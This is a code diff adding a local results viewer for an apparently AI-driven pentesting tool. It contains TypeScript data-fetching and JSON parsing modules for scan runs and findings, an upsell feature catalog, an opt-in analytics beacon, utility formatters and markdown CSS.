<p className="mt-0.5 text-xs text-[#666]">
Take this finding into your team's workflow.
</p>
<div className="mt-3 flex flex-wrap gap-2.5">
<ProInlineCta
label="Auto-fix & open a PR"
desc="Fix it for you and open a PR, retested."
slug="autofix"
icon={Wrench}
surface="finding_detail"
/>
<ProInlineCta
label="Sync to Jira / Linear"
desc="Two-way sync findings to Jira, Linear, and Slack."
slug="integrations"
icon={GitMerge}
surface="finding_detail"
/>
<ProInlineCta
label="Catch this in PR reviews"
desc="Pentest every pull request your team opens."
slug="pr_reviews"
icon={GitPullRequest}
surface="finding_detail"
/>
</div>
</div>
</div>
);
}
@@ -0,0 +1,237 @@
import type { Vulnerability } from "@/types/issues";
import {
parseRunJson,
parseVulnerabilitiesJson,
type ParsedRunSummary,
} from "@/lib/local-run-parser";
/**
* Data seam for the local viewer. Replaces strix-app's browser file-picker
* (`loadFromTexts`) with fetches against the local Python server's JSON
* endpoints (same origin, relative URLs). Produces the same in-memory
* `LoadedRun` shape the UI renders, plus a `finished` flag driving live polling.
*
* The server serves a live in-progress run and a finished one identically; the
* only signal is `run.finished`.
*/
/** A transcript agent as emitted by GET /api/transcript (already parsed). */
export interface TranscriptAgent {
id: string;
name: string;
parent_id: string | null;
status: string;
created_at: string;
updated_at: string;
}
/** Chat/tool event data as emitted by GET /api/transcript. */
export interface TranscriptEvent {
id: string;
type: "chat" | "tool";
agent_id: string;
timestamp: string;
version: number;
data: Record<string, unknown>;
}
export interface Transcript {
agents: TranscriptAgent[];
events: TranscriptEvent[];
}
export interface LoadedRun {
summary: ParsedRunSummary;
/** Whole raw run record (for llm_usage, targets_info details, etc.). */
raw: Record<string, unknown>;
finished: boolean;
vulnerabilities: Vulnerability[];
reportMarkdown: string | null;
transcript: Transcript;
}
async function getJson(path: string): Promise<unknown> {
const res = await fetch(path, { cache: "no-store" });
if (!res.ok) throw new Error(`${path} responded ${res.status}`);
return res.json();
}
/** Build a ``?run=<name>`` suffix for run-scoped data endpoints. */
function runQuery(runName?: string | null): string {
return runName ? `?run=${encodeURIComponent(runName)}` : "";
}
export async function fetchRunSummary(runName?: string | null): Promise<{
summary: ParsedRunSummary;
raw: Record<string, unknown>;
finished: boolean;
}> {
const raw = (await getJson("/api/run" + runQuery(runName))) as Record<string, unknown>;
// parseRunJson tolerates extra keys and takes raw TEXT.
const summary = parseRunJson(JSON.stringify(raw));
const finished = raw.finished === true;
return { summary, raw, finished };
}
export async function fetchVulnerabilities(
runId: string | null,
runName?: string | null
): Promise<Vulnerability[]> {
const arr = await getJson("/api/vulnerabilities" + runQuery(runName));
return parseVulnerabilitiesJson(JSON.stringify(arr), runId);
}
export async function fetchReportMarkdown(runName?: string | null): Promise<string | null> {
const obj = (await getJson("/api/report" + runQuery(runName))) as { markdown?: string };
return obj?.markdown ?? null;
}
export async function fetchTranscript(runName?: string | null): Promise<Transcript> {
const obj = (await getJson("/api/transcript" + runQuery(runName))) as Partial<Transcript>;
return {
agents: Array.isArray(obj?.agents) ? obj.agents : [],
events: Array.isArray(obj?.events) ? obj.events : [],
};
}
/** One-shot fetch of every endpoint (used on mount and on final settle). */
export async function fetchAll(runName?: string | null): Promise<LoadedRun> {
const { summary, raw, finished } = await fetchRunSummary(runName);
const [vulnerabilities, reportMarkdown, transcript] = await Promise.all([
fetchVulnerabilities(summary.runId, runName).catch(() => [] as Vulnerability[]),
fetchReportMarkdown(runName).catch(() => null),
fetchTranscript(runName).catch(() => ({ agents: [], events: [] }) as Transcript),
]);
return { summary, raw, finished, vulnerabilities, reportMarkdown, transcript };
}
// ---------------------------------------------------------------------------
// Run history + email auth + report send
//
// These endpoints back the "Your runs" sidebar section. Auth and report-send
// responses carry a meaningful JSON body on non-2xx statuses (an ``error``
// code), so they read the body regardless of status rather than throwing.
// ---------------------------------------------------------------------------
export interface RunSeverityCounts {
critical: number;
high: number;
medium: number;
low: number;
}
export interface RunListEntry {
name: string;
target: string | null;
scan_mode: string | null;
status: string | null;
start_time: string | null;
end_time: string | null;
finished: boolean;
severity_counts: RunSeverityCounts;
}
export interface RunsPayload {
locked: boolean;
count: number;
runs: RunListEntry[];
}
export interface AuthStatus {
verified: boolean;
email: string | null;
}
export type OtpStartResult = { ok: true } | { ok: false; error: string };
export type OtpVerifyResult =
| { verified: true; email: string }
| { verified: false; error: string };
export type SendReportResult =
| { ok: true; password: string; filename: string }
| { ok: false; error: string };
async function postJson(
path: string,
body: Record<string, unknown>
): Promise<{ ok: boolean; status: number; data: Record<string, unknown> }> {
const res = await fetch(path, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(body),
cache: "no-store",
});
let data: Record<string, unknown> = {};
try {
const parsed = await res.json();
if (parsed && typeof parsed === "object") data = parsed as Record<string, unknown>;
} catch {
/* empty or non-JSON body */
}
return { ok: res.ok, status: res.status, data };
}
export async function fetchRuns(): Promise<RunsPayload> {
const obj = (await getJson("/api/runs")) as Partial<RunsPayload>;
return {
locked: obj?.locked ?? true,
count: typeof obj?.count === "number" ? obj.count : 0,
runs: Array.isArray(obj?.runs) ? (obj.runs as RunListEntry[]) : [],
};
}
export interface Capabilities {
can_steer: boolean;
}
export type SteerResult = { ok: true } | { ok: false; error: string };
/** GET /api/capabilities. can_steer is true only inside a live in-TUI scan. */
export async function fetchCapabilities(): Promise<Capabilities> {
const obj = (await getJson("/api/capabilities")) as Partial<Capabilities>;
return { can_steer: obj?.can_steer === true };
}
/** POST /api/agents/steer. Sends a steering instruction to a running agent. */
export async function steerAgent(agentId: string, message: string): Promise<SteerResult> {
const { ok, data } = await postJson("/api/agents/steer", {
agent_id: agentId,
message,
});
if (ok && data.ok === true) return { ok: true };
return { ok: false, error: String(data.error ?? "unavailable") };
}
export async function fetchAuthStatus(): Promise<AuthStatus> {
const obj = (await getJson("/api/auth/status")) as Partial<AuthStatus>;
return { verified: obj?.verified === true, email: obj?.email ?? null };
}
export async function otpStart(email: string): Promise<OtpStartResult> {
const { ok, data } = await postJson("/api/auth/otp/start", { email });
if (ok && data.ok === true) return { ok: true };
return { ok: false, error: String(data.error ?? "unavailable") };
}
export async function otpVerify(email: string, code: string): Promise<OtpVerifyResult> {
const { ok, data } = await postJson("/api/auth/otp/verify", { email, code });
if (ok && data.verified === true) {
return { verified: true, email: String(data.email ?? email) };
}
return { verified: false, error: String(data.error ?? "invalid_code") };
}
export async function forgetAuth(): Promise<void> {
await postJson("/api/auth/forget", {});
}
export async function sendReport(runName?: string | null): Promise<SendReportResult> {
const { ok, data } = await postJson("/api/report/send", runName ? { run: runName } : {});
if (ok && data.ok === true) {
return {
ok: true,
password: String(data.password ?? ""),
filename: String(data.filename ?? "strix-report.pdf"),
};
}
return { ok: false, error: String(data.error ?? "unavailable") };
}
+173
View File
@@ -0,0 +1,173 @@
@import "tailwindcss";
:root {
--font-geist-sans: ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto,
Helvetica, Arial, sans-serif;
--font-geist-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas,
"Liberation Mono", "Courier New", monospace;
}
@theme inline {
--font-sans: var(--font-geist-sans);
--font-mono: var(--font-geist-mono);
}
html,
body {
background: #000000;
color: #ffffff;
font-family: var(--font-geist-sans);
}
/* Tab content transition (lifted from strix-app globals.css) */
@keyframes tab-in {
from {
opacity: 0;
filter: blur(4px);
transform: translateY(6px);
}
to {
opacity: 1;
filter: blur(0px);
transform: translateY(0px);
}
}
.animate-tab-in {
animation: tab-in 200ms ease-out;
}
/* Markdown prose styling (lifted from strix-app globals.css) */
.prose-markdown {
font-size: 14px;
line-height: 1.7;
color: #999;
word-wrap: break-word;
overflow-wrap: break-word;
}
.prose-markdown p {
margin-bottom: 0.75em;
}
.prose-markdown p:last-child {
margin-bottom: 0;
}
.prose-markdown strong {
color: #ccc;
font-weight: 600;
}
.prose-markdown em {
font-style: italic;
}
.prose-markdown code {
background: #0a0a0a;
border: 1px solid #111;
border-radius: 4px;
padding: 0.15em 0.4em;
font-size: 0.9em;
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
color: #ccc;
font-variant-ligatures: none;
}
.prose-markdown pre {
background: transparent;
border: none;
border-radius: 0;
padding: 0;
margin: 0;
font-variant-ligatures: none;
}
.prose-markdown pre code {
background: none;
border: none;
padding: 0;
font-size: 13px;
color: inherit;
}
.prose-markdown ul,
.prose-markdown ol {
padding-left: 1.5em;
margin-bottom: 0.75em;
}
.prose-markdown ul {
list-style-type: disc;
}
.prose-markdown ol {
list-style-type: decimal;
}
.prose-markdown li {
margin-bottom: 0.25em;
}
.prose-markdown li > ul,
.prose-markdown li > ol {
padding-left: 1.5em;
margin-top: 0.25em;
margin-bottom: 0.25em;
}
.prose-markdown ol + ul {
padding-left: 3em;
margin-top: -0.5em;
}
.prose-markdown h1,
.prose-markdown h2,
.prose-markdown h3,
.prose-markdown h4,
.prose-markdown h5,
.prose-markdown h6 {
color: #ddd;
font-weight: 600;
margin-top: 1em;
margin-bottom: 0.5em;
}
.prose-markdown a {
color: inherit;
text-decoration: none;
pointer-events: none;
}
.prose-markdown blockquote {
border-left: 3px solid #333;
padding-left: 1em;
color: #777;
margin: 0.75em 0;
}
.prose-markdown hr {
border: none;
border-top: 1px solid #222;
margin: 1em 0;
}
.prose-markdown > table {
width: 100%;
border-collapse: collapse;
margin: 0.75em 0;
}
.prose-markdown > table th,
.prose-markdown > table td {
border: 1px solid #333;
padding: 0.4em 0.75em;
text-align: left;
font-size: 13px;
}
.prose-markdown > table th {
background: #1a1a1a;
color: #ccc;
font-weight: 600;
}
+43
View File
@@ -0,0 +1,43 @@
// All upsell / sign-up CTAs route anonymous local-viewer users to the public
// cloud sign-up. Open in a new tab so the local results stay put.
export const SIGNUP_URL = "https://app.strix.ai/api/auth/signup";
export const DEMO_URL = "https://strix.ai/demo";
export const PRICING_URL = "https://strix.ai/pricing";
// Attribution params appended to every outbound CTA link so the destination
// analytics can see the local viewer drove the click, with utm_content carrying
// the CTA slug so we know which one.
const CTA_PARAMS =
"ref=oss_viewer&utm_source=oss_viewer&utm_medium=local_viewer&utm_campaign=oss_viewer";
export function ctaUrl(base: string, slug: string): string {
const sep = base.includes("?") ? "&" : "?";
return `${base}${sep}${CTA_PARAMS}&utm_content=${encodeURIComponent(slug)}`;
}
// Best-effort, anonymous beacon. The local server forwards this to PostHog only
// if the user has telemetry enabled; it never blocks navigation. Undefined
// props are dropped so we only send what is set. NEVER pass PII here (no email,
// code, or report content) - the props are limited to anonymous metadata.
export function track(event: string, props: Record<string, string | undefined> = {}): void {
try {
const body: Record<string, string> = { event };
for (const [key, value] of Object.entries(props)) {
if (value !== undefined) body[key] = value;
}
const payload = JSON.stringify(body);
if (typeof navigator !== "undefined" && navigator.sendBeacon) {
navigator.sendBeacon("/api/event", payload);
} else {
void fetch("/api/event", { method: "POST", body: payload, keepalive: true });
}
} catch {
/* analytics is best-effort */
}
}
// Anonymous conversion tracking for a sign-up/upsell click. `surface` records
// where the click happened so one CTA slug can be reused across placements.
export function trackCta(cta: string, surface?: string): void {
track("cta_clicked", { cta, surface });
}
@@ -0,0 +1,12 @@
// Slim, dependency-free extract of strix-app's display-number helper. The full
// version queries Supabase to compute org-wide finding numbers; the local viewer
// only ever needs the pure formatter, so the supabase-backed functions are
// intentionally omitted (a local run has no org context).
export function formatStrixId(num: number): string {
return `STRIX-${num}`;
}
/** Format an integer with locale thousands separators (e.g. 68339486 -> "68,339,486"). */
export function formatNumber(num: number): string {
return new Intl.NumberFormat("en-US").format(num);
}
+14
View File
@@ -0,0 +1,14 @@
import hljs from "highlight.js/lib/common";
import http from "highlight.js/lib/languages/http";
import nginx from "highlight.js/lib/languages/nginx";
import apache from "highlight.js/lib/languages/apache";
import dockerfile from "highlight.js/lib/languages/dockerfile";
import properties from "highlight.js/lib/languages/properties";
hljs.registerLanguage("http", http);
hljs.registerLanguage("nginx", nginx);
hljs.registerLanguage("apache", apache);
hljs.registerLanguage("dockerfile", dockerfile);
hljs.registerLanguage("properties", properties);
export default hljs;
@@ -0,0 +1,325 @@
import type {
Vulnerability,
VulnerabilitySeverity,
VulnerabilityStatus,
} from "@/types/issues";
/**
* Pure, dependency-free parsers that turn a Strix CLI local run
* (`strix_runs/<run>/{run.json,vulnerabilities.json}`) into the app's own
* types, so the /results view can reuse the dashboard's finding components.
*
* These run entirely client-side against files the user picked from disk
* nothing here uploads or persists anything.
*/
export class RunParseError extends Error {
constructor(message: string) {
super(message);
this.name = "RunParseError";
}
}
export interface ParsedRunSummary {
runId: string | null;
runName: string | null;
targets: string[];
scanMode: string | null;
status: string | null;
startTime: string | null;
endTime: string | null;
durationSeconds: number | null;
executiveSummary: string | null;
technicalAnalysis: string | null;
methodology: string | null;
recommendations: string | null;
}
const KNOWN_SEVERITIES: VulnerabilitySeverity[] = ["critical", "high", "medium", "low"];
function coerceSeverity(raw: unknown): VulnerabilitySeverity {
const s = String(raw ?? "").toLowerCase().trim();
if ((KNOWN_SEVERITIES as string[]).includes(s)) return s as VulnerabilitySeverity;
// The app's severity type has no "info"/"informational" bucket; fold those
// (and anything unrecognized) into "low" so the shared UI renders cleanly.
return "low";
}
function toIsoTimestamp(raw: unknown): string {
if (typeof raw === "string" && raw.trim()) {
// CLI writes e.g. "2025-01-02 03:04:05 UTC".
const normalized = raw.trim().replace(" UTC", "Z").replace(" ", "T");
const d = new Date(normalized);
if (!Number.isNaN(d.getTime())) return d.toISOString();
const direct = new Date(raw);
if (!Number.isNaN(direct.getTime())) return direct.toISOString();
}
return new Date().toISOString();
}
function asStringOrNull(v: unknown): string | null {
return typeof v === "string" && v.length > 0 ? v : null;
}
function asNumberOrNull(v: unknown): number | null {
return typeof v === "number" && Number.isFinite(v) ? v : null;
}
function parseJson(text: string, label: string): unknown {
try {
return JSON.parse(text);
} catch {
throw new RunParseError(
`${label} isn't valid JSON. Make sure you selected a Strix run directory.`
);
}
}
export function parseRunJson(text: string): ParsedRunSummary {
const data = parseJson(text, "run.json");
if (!data || typeof data !== "object" || Array.isArray(data)) {
throw new RunParseError("run.json is not an object.");
}
const record = data as Record<string, unknown>;
const targets: string[] = [];
const targetsInfo = record.targets_info;
if (Array.isArray(targetsInfo)) {
for (const t of targetsInfo) {
if (t && typeof t === "object") {
const original = (t as Record<string, unknown>).original;
if (typeof original === "string" && original) targets.push(original);
}
}
}
const startTime = asStringOrNull(record.start_time);
const endTime = asStringOrNull(record.end_time);
let durationSeconds: number | null = null;
if (startTime && endTime) {
const s = new Date(startTime).getTime();
const e = new Date(endTime).getTime();
if (!Number.isNaN(s) && !Number.isNaN(e) && e >= s) {
durationSeconds = Math.round((e - s) / 1000);
}
}
let executiveSummary: string | null = null;
let technicalAnalysis: string | null = null;
let methodology: string | null = null;
let recommendations: string | null = null;
const scanResults = record.scan_results;
if (scanResults && typeof scanResults === "object") {
const sr = scanResults as Record<string, unknown>;
executiveSummary = asStringOrNull(sr.executive_summary);
technicalAnalysis = asStringOrNull(sr.technical_analysis);
methodology = asStringOrNull(sr.methodology);
recommendations = asStringOrNull(sr.recommendations);
}
return {
runId: asStringOrNull(record.run_id),
runName: asStringOrNull(record.run_name),
targets,
scanMode: asStringOrNull(record.scan_mode),
status: asStringOrNull(record.status),
startTime,
endTime,
durationSeconds,
executiveSummary,
technicalAnalysis,
methodology,
recommendations,
};
}
/** Fields on the app's Vulnerability type that a local run never provides. */
function emptyVulnerabilityDefaults(): Omit<
Vulnerability,
| "id"
| "title"
| "description"
| "severity"
| "created_at"
| "scan_id"
| "status"
> {
return {
pr_review_id: null,
cve: null,
cvss: null,
potential_risk_saving: null,
risk_saving_description: null,
impact: null,
endpoint: null,
method: null,
target: null,
technical_analysis: null,
poc_description: null,
poc_script_code: null,
code_diff: null,
code_file: null,
code_before: null,
code_after: null,
cwe: null,
code_locations: null,
remediation_steps: null,
fix_pr_body: null,
evidence: null,
assumptions: null,
fix_effort: null,
cvss_breakdown: null,
status_changed_at: null,
status_changed_by: null,
status_note: null,
snoozed_until: null,
reopened_at: null,
reopened_by: null,
original_severity: null,
severity_changed_at: null,
severity_changed_by: null,
severity_override_reason: null,
retest_of_vulnerability_id: null,
};
}
function parseOneVulnerability(
raw: Record<string, unknown>,
index: number,
runId: string | null
): Vulnerability {
const cweRaw = raw.cwe;
const cwe =
typeof cweRaw === "string" && cweRaw.trim()
? [cweRaw.trim()]
: Array.isArray(cweRaw)
? (cweRaw.filter((c) => typeof c === "string" && c) as string[])
: null;
const status: VulnerabilityStatus = "open";
return {
...emptyVulnerabilityDefaults(),
id: asStringOrNull(raw.id) ?? `vuln-${index + 1}`,
scan_id: runId,
title: asStringOrNull(raw.title) ?? "Untitled finding",
description: asStringOrNull(raw.description) ?? "",
severity: coerceSeverity(raw.severity),
status,
created_at: toIsoTimestamp(raw.timestamp),
cve: asStringOrNull(raw.cve),
cvss: asNumberOrNull(raw.cvss),
impact: asStringOrNull(raw.impact),
endpoint: asStringOrNull(raw.endpoint),
method: asStringOrNull(raw.method),
target: asStringOrNull(raw.target),
technical_analysis: asStringOrNull(raw.technical_analysis),
poc_description: asStringOrNull(raw.poc_description),
poc_script_code: asStringOrNull(raw.poc_script_code),
cwe,
code_locations: Array.isArray(raw.code_locations)
? (raw.code_locations as Vulnerability["code_locations"])
: null,
remediation_steps: asStringOrNull(raw.remediation_steps),
fix_pr_body: asStringOrNull(raw.fix_pr_body),
evidence: asStringOrNull(raw.evidence),
assumptions: asStringOrNull(raw.assumptions),
fix_effort: (asStringOrNull(raw.fix_effort) as Vulnerability["fix_effort"]) ?? null,
cvss_breakdown: (raw.cvss_breakdown as Vulnerability["cvss_breakdown"]) ?? null,
};
}
export function parseVulnerabilitiesJson(
text: string,
runId: string | null = null
): Vulnerability[] {
const data = parseJson(text, "vulnerabilities.json");
if (!Array.isArray(data)) {
throw new RunParseError("vulnerabilities.json is not a JSON array.");
}
return data.map((item, i) => {
if (!item || typeof item !== "object") {
throw new RunParseError(`vulnerabilities.json entry #${i + 1} is not an object.`);
}
return parseOneVulnerability(item as Record<string, unknown>, i, runId);
});
}
export interface ParsedAgent {
id: string;
name: string;
status: string;
parentId: string | null;
task: string | null;
skills: string[];
depth: number;
}
/**
* Parse the agent execution trace from `.state/agents.json` into a pre-ordered
* tree (children follow their parent; `depth` drives indentation). Rendered
* 100% client-side and never uploaded traces contain target details, so they
* must stay on the user's machine. The heavier `.state/agents.db` (SQLite) is
* intentionally ignored; `agents.json` has everything the panel needs.
*/
export function parseAgentsJson(text: string): ParsedAgent[] {
const data = parseJson(text, "agents.json");
if (!data || typeof data !== "object" || Array.isArray(data)) return [];
const record = data as Record<string, unknown>;
const statuses = (record.statuses ?? {}) as Record<string, unknown>;
const parentOf = (record.parent_of ?? {}) as Record<string, unknown>;
const names = (record.names ?? {}) as Record<string, unknown>;
const metadata = (record.metadata ?? {}) as Record<string, unknown>;
const agents = new Map<string, ParsedAgent>();
for (const id of Object.keys(statuses)) {
const meta = (metadata[id] ?? {}) as Record<string, unknown>;
const skillsRaw = meta.skills;
agents.set(id, {
id,
name: asStringOrNull(names[id]) ?? id,
status: asStringOrNull(statuses[id]) ?? "unknown",
parentId: asStringOrNull(parentOf[id]),
task: asStringOrNull(meta.task),
skills: Array.isArray(skillsRaw)
? skillsRaw.filter((s): s is string => typeof s === "string")
: [],
depth: 0,
});
}
if (agents.size === 0) return [];
const childrenOf = new Map<string | null, string[]>();
for (const a of agents.values()) {
const key = a.parentId && agents.has(a.parentId) ? a.parentId : null;
(childrenOf.get(key) ?? childrenOf.set(key, []).get(key)!).push(a.id);
}
const ordered: ParsedAgent[] = [];
const seen = new Set<string>();
const visit = (id: string, depth: number): void => {
const a = agents.get(id);
if (!a || seen.has(id)) return;
seen.add(id);
a.depth = depth;
ordered.push(a);
for (const childId of childrenOf.get(id) ?? []) visit(childId, depth + 1);
};
for (const rootId of childrenOf.get(null) ?? []) visit(rootId, 0);
// Defensive: include any agents not reachable from a root.
for (const a of agents.values()) if (!seen.has(a.id)) ordered.push(a);
return ordered;
}
export function severityCounts(
vulns: Vulnerability[]
): Record<VulnerabilitySeverity, number> {
const counts: Record<VulnerabilitySeverity, number> = {
critical: 0,
high: 0,
medium: 0,
low: 0,
};
for (const v of vulns) counts[v.severity] += 1;
return counts;
}
@@ -0,0 +1,174 @@
import type React from "react";
import {
GitPullRequest,
Layers,
Globe,
Puzzle,
Users,
Search,
LayoutDashboard,
AlertTriangle,
MessageSquare,
Network,
Database,
} from "lucide-react";
/**
* Platform (Pro / Enterprise) feature catalog. Powers both the unified sidebar
* nav rows and the in-app FeatureDetail upsell view. Everything is "Pro" except
* Networks, which is "Enterprise". No lock icons anywhere.
*/
export type FeatureTier = "Pro" | "Enterprise";
export interface ProFeature {
slug: string;
title: string;
icon: React.ElementType;
tier: FeatureTier;
/** Short one-liner for the sidebar nav row (two-line layout). */
navDesc: string;
/** Headline shown on the FeatureDetail upsell page. */
headline: string;
/** Longer sentence shown on the FeatureDetail upsell page. */
description: string;
}
// Flat catalog of every platform feature, keyed by slug for routing. The
// sidebar groups these into capability themes (see PLATFORM_THEMES); nothing
// here implies a tier ordering.
export const PLATFORM_FEATURES: ProFeature[] = [
{
slug: "pr_reviews",
title: "PR Reviews",
icon: GitPullRequest,
tier: "Pro",
navDesc: "Pentest every pull request",
headline: "Pentest every pull request",
description:
"Strix reviews every pull request your team opens and catches exploitable changes before they merge.",
},
{
slug: "repositories",
title: "Repositories",
icon: Layers,
tier: "Pro",
navDesc: "Connect your team's repos",
headline: "Connect your team's repositories",
description:
"Link your org's repositories so Strix can scan them continuously and track findings over time.",
},
{
slug: "domains",
title: "Domains",
icon: Globe,
tier: "Pro",
navDesc: "Cover the domains you own",
headline: "Cover every domain you own",
description:
"Add the domains your team owns and let Strix watch them for newly exposed paths and drift.",
},
{
slug: "integrations",
title: "Integrations",
icon: Puzzle,
tier: "Pro",
navDesc: "Sync to Jira, Linear, Slack",
headline: "Sync findings to your tools",
description:
"Two-way sync findings to Jira, Linear, and Slack so fixes happen where your team already works.",
},
{
slug: "members",
title: "Members",
icon: Users,
tier: "Pro",
navDesc: "Invite your team, set roles",
headline: "Bring your whole team",
description:
"Invite your team, set roles, and share findings and run history across your org.",
},
{
slug: "pentests",
title: "Pentests",
icon: Search,
tier: "Pro",
navDesc: "Deeper scans on managed infra",
headline: "Launch deeper pentests",
description:
"Run deeper, longer pentests on managed infrastructure whenever you need them.",
},
{
slug: "dashboard",
title: "Dashboard",
icon: LayoutDashboard,
tier: "Pro",
navDesc: "Everything in one place",
headline: "See everything in one place",
description:
"Track every project, run, and finding across your org from a single dashboard.",
},
{
slug: "platform_issues",
title: "Issues",
icon: AlertTriangle,
tier: "Pro",
navDesc: "Triage across your org",
headline: "Triage findings across your org",
description:
"Manage and triage findings across every project and repository in one queue.",
},
{
slug: "chat",
title: "Chat",
icon: MessageSquare,
tier: "Pro",
navDesc: "Ask about any finding",
headline: "Ask Strix anything",
description:
"Ask the agents about any finding, run, or part of your app in natural language.",
},
{
slug: "networks",
title: "Networks",
icon: Network,
tier: "Enterprise",
navDesc: "Reach internal, VPN-only targets",
headline: "Scan internal networks",
description:
"Connect private networks to scan internal applications, VPN-only services, and RFC1918 targets.",
},
{
slug: "knowledge",
title: "Knowledge",
icon: Database,
tier: "Pro",
navDesc: "Give agents context",
headline: "Give agents context",
description:
"Teach Strix about your systems and business logic so every run gets smarter.",
},
];
export const FEATURES: Record<string, ProFeature> = Object.fromEntries(
PLATFORM_FEATURES.map((f) => [f.slug, f])
);
/**
* Order the platform rows appear in the sidebar's single, ungrouped nav list
* (after the run/local rows). No section headers; tier is shown only by each
* row's inline tag.
*/
export const PLATFORM_ORDER: string[] = [
"pr_reviews",
"repositories",
"domains",
"integrations",
"members",
"pentests",
"networks",
"chat",
"dashboard",
"platform_issues",
"knowledge",
];
@@ -0,0 +1,61 @@
export interface ParsedTarget {
display: string;
href: string | null;
provider: "github" | "gitlab" | "bitbucket" | null;
}
export function parseTarget(target: string): ParsedTarget {
// GitHub URL
const ghMatch = target.match(
/(?:https?:\/\/)?(?:www\.)?github\.com\/([^\s/]+\/[^\s/]+)/
);
if (ghMatch) {
const slug = ghMatch[1].replace(/\.git$/, "");
return { display: slug, href: `https://github.com/${slug}`, provider: "github" };
}
// GitLab URL
const glMatch = target.match(
/(?:https?:\/\/)?(?:www\.)?gitlab\.com\/([^\s/]+\/[^\s/]+)/
);
if (glMatch) {
const slug = glMatch[1].replace(/\.git$/, "");
return { display: slug, href: `https://gitlab.com/${slug}`, provider: "gitlab" };
}
// Bitbucket URL
const bbMatch = target.match(
/(?:https?:\/\/)?(?:www\.)?bitbucket\.org\/([^\s/]+\/[^\s/]+)/
);
if (bbMatch) {
const slug = bbMatch[1].replace(/\.git$/, "");
return { display: slug, href: `https://bitbucket.org/${slug}`, provider: "bitbucket" };
}
// URL with protocol
if (/^https?:\/\//i.test(target)) {
return {
display: target.replace(/^https?:\/\/(www\.)?/, ""),
href: target,
provider: null,
};
}
// Bare domain (e.g. "example.com" or "example.com/path")
if (/^[a-zA-Z0-9][\w.-]*\.[a-zA-Z]{2,}/.test(target)) {
return { display: target, href: `https://${target}`, provider: null };
}
// Not a URL
return { display: target, href: null, provider: null };
}
/**
* A clean, human-readable run title derived from the scan target (e.g.
* "arch.co") rather than the raw run dir name ("arch-co_ca3f"). Falls back to
* the raw name, then a generic label.
*/
export function runTitle(target: string | null, fallback: string): string {
if (target) return parseTarget(target).display.replace(/\/$/, "");
return fallback || "Untitled scan";
}
+124
View File
@@ -0,0 +1,124 @@
import { clsx, type ClassValue } from "clsx"
import { twMerge } from "tailwind-merge"
export function cn(...inputs: ClassValue[]) {
return twMerge(clsx(inputs))
}
export function formatDate(dateString: string): string {
const date = new Date(dateString);
return date.toLocaleDateString("en-US", {
year: "numeric",
month: "short",
day: "numeric",
});
}
export function isValidUrl(url: string): boolean {
if (!url || !url.trim()) return false;
try {
// Add protocol if missing
let urlWithProtocol = url.trim();
if (!urlWithProtocol.startsWith("http://") && !urlWithProtocol.startsWith("https://")) {
urlWithProtocol = `https://${urlWithProtocol}`;
}
const parsed = new URL(urlWithProtocol);
// Check if it has a valid hostname with at least one dot (domain)
return Boolean(parsed.hostname) && parsed.hostname.includes(".");
} catch {
return false;
}
}
export function isValidDomain(domain: string | null): boolean {
if (!domain) return false;
// Basic domain validation regex
const domainRegex = /^[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;
// Check basic format
if (!domainRegex.test(domain)) {
return false;
}
// Check length constraints
if (domain.length > 253) {
return false;
}
// Must have at least one dot (TLD required)
if (!domain.includes(".")) {
return false;
}
// Check each label length (max 63 chars per label)
const labels = domain.split(".");
for (const label of labels) {
if (label.length === 0 || label.length > 63) {
return false;
}
}
// TLD should be at least 2 characters
const tld = labels[labels.length - 1];
if (tld.length < 2) {
return false;
}
return true;
}
export function formatCurrency(amount: number): string {
return new Intl.NumberFormat("en-US", {
style: "currency",
currency: "USD",
minimumFractionDigits: 0,
maximumFractionDigits: 0,
}).format(amount);
}
export function formatTimeAgo(dateString: string): string {
const date = new Date(dateString);
const now = new Date();
const diffInSeconds = Math.floor((now.getTime() - date.getTime()) / 1000);
if (diffInSeconds < 60) {
return "just now";
}
if (diffInSeconds < 3600) {
const minutes = Math.floor(diffInSeconds / 60);
return `${minutes}m ago`;
}
if (diffInSeconds < 86400) {
const hours = Math.floor(diffInSeconds / 3600);
return `${hours}h ago`;
}
if (diffInSeconds < 604800) {
const days = Math.floor(diffInSeconds / 86400);
return `${days}d ago`;
}
return formatDate(dateString);
}
export function formatTimeUntil(dateString: string): string {
const date = new Date(dateString);
const now = new Date();
const diffInSeconds = Math.floor((date.getTime() - now.getTime()) / 1000);
if (diffInSeconds < 0) return "now";
if (diffInSeconds < 60) return "in <1m";
if (diffInSeconds < 3600) {
const minutes = Math.floor(diffInSeconds / 60);
return `in ${minutes}m`;
}
if (diffInSeconds < 86400) {
const hours = Math.floor(diffInSeconds / 3600);
return `in ${hours}h`;
}
if (diffInSeconds < 604800) {
const days = Math.round(diffInSeconds / 86400);
return `in ${days || 1}d`;
}
return formatDate(dateString);
}
@@ -0,0 +1,196 @@
const LANGUAGE_MAP: Record<string, string> = {
js: "javascript", ts: "typescript", tsx: "typescript", jsx: "javascript",
py: "python", rb: "ruby", go: "go", rs: "rust", java: "java", php: "php",
cs: "csharp", cpp: "cpp", c: "c", sh: "bash", bash: "bash", sql: "sql",
html: "html", css: "css", json: "json", yaml: "yaml", yml: "yaml", xml: "xml",
};
export function getLanguageFromFile(filename: string | null | undefined): string | null {
if (!filename) return null;
const ext = filename.split(".").pop()?.toLowerCase();
return ext ? LANGUAGE_MAP[ext] || null : null;
}
export function getSeverityDot(severity: string): string {
switch (severity) {
case "critical": return "bg-red-500";
case "high": return "bg-orange-500";
case "medium": return "bg-yellow-500";
default: return "bg-blue-500";
}
}
import type { Vulnerability } from "@/types/issues";
export function buildMarkdown(v: Vulnerability): string {
const parts: string[] = [];
parts.push(`# ${v.title}`);
parts.push("");
const cwePart = v.cwe && v.cwe.length > 0 ? ` · **CWE:** ${v.cwe.join(", ")}` : "";
parts.push(`**Severity:** ${v.severity.toUpperCase()}${v.cvss ? ` · **CVSS:** ${v.cvss}` : ""}${v.cve ? ` · **CVE:** ${v.cve}` : ""}${cwePart}${v.fix_effort ? ` · **Fix Effort:** ${v.fix_effort}` : ""}`);
parts.push(`**Status:** ${v.status}`);
if (v.target) parts.push(`**Target:** ${v.target}`);
